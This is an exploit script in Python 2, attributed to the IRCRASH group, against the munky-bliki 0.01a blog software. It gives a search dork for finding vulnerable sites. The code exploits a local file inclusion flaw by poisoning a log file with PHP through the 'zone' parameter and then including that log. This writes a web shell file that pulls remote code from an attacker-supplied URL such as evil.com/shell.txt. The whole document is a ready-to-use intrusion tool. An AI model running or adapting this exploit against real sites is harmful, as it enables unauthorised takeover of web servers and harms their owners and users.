#!user/bin/python

-- coding: cp1256 --

#####################################################################################

munky-bliki Lfi

#####################################################################################

#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Our Site : Http://IRCRASH.COM #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) #
#####################################################################################

#Script Download : http://kent.dl.sourceforge.net/sourceforge/munky/munky-bliki-0.01a.tar.gz

#DORK : "Copyright © 2004 Dovid Kopel" #

#####################################################################################

[Bug]

#http://Site/?zone=file.type%00 #

[Note]

#By this exploit u can create a shell on valun site ;) #

#####################################################################################

Site : Http://IRCRASH.COM

###################################### TNX GOD ######################################
import httplib,urllib
site=raw_input('Site [Ex www.r3d.com]: ')
path=raw_input('Path [Ex /munky]: ')
shell=raw_input('Shell [Ex http://evil.com/shell.txt]: ')
print "[]Powered by : R3d.W0rm - [email protected]"
conn=httplib.HTTPConnection(site)
print "[]Connected to " + site
print "[]Sending shell code …"
conn.request('GET',path + "/?zone=<?php%20$fp=fopen('r3d.w0rm.php','w%2B');fwrite($fp,'<?php%20include%20\\'" + shell +
"\\';?>');fclose($fp);?>")
print "[]Running shell code …"
data=urllib.urlopen('http://' + site + path + '/?zone=…/logs/counts.log%00')
print "[]Shell created"
print "[]" + site + path + '/r3d.w0rm.php'